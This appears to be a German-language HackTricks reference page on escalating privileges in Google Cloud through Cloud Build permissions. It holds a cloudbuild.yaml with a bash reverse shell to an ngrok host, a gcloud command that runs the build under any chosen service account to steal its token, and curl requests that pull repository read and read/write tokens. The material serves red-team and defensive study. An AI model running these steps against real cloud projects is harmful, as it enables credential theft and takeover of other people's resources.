GCP - Cloudbuild Privesc

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

cloudbuild

Für weitere Informationen zu Cloud Build siehe:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Mit dieser Berechtigung kannst du einen Cloud Build einreichen. Die Cloudbuild-Maschine wird standardmäßig in ihrem Dateisystem ein Token des Cloudbuild-Servicekontos haben: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Du kannst jedoch jedes Servicekonto innerhalb des Projekts in der Cloudbuild-Konfiguration angeben.
Daher kannst du die Maschine einfach dazu bringen, das Token an deinen Server zu exfiltrieren oder einen Reverse-Shell innerhalb davon zu erhalten und dir das Token zu besorgen (die Datei, die das Token enthält, könnte sich ändern).

Direkte Ausnutzung über gcloud CLI

1- Erstelle cloudbuild.yaml und modifiziere es mit deinen Listener-Daten.

yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY

2- Laden Sie einen einfachen Build ohne Quelle hoch, die yaml-Datei und geben Sie den zu verwendenden SA für den Build an:

bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com

Verwendung der Python gcloud-Bibliothek

Sie finden das ursprüngliche Exploit-Skript hier auf GitHub (aber der Ort, von dem es das Token bezieht, hat bei mir nicht funktioniert). Überprüfen Sie daher ein Skript zur Automatisierung der Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier und ein Python-Skript, um eine Reverse-Shell innerhalb der Cloudbuild-Maschine zu erhalten und es hier zu stehlen (im Code finden Sie, wie Sie andere Dienstkonten angeben können).

Für eine detailliertere Erklärung besuchen Sie https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Mit dieser Berechtigung kann der Benutzer das Lesezugriffs-Token abrufen, das zum Zugriff auf das Repository verwendet wird:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Mit dieser Berechtigung kann der Benutzer das Lese- und Schreibzugriffstoken abrufen, das zum Zugriff auf das Repository verwendet wird:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Mit dieser Berechtigung können Sie die Repos abrufen, auf die die Verbindung Zugriff hat:

bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks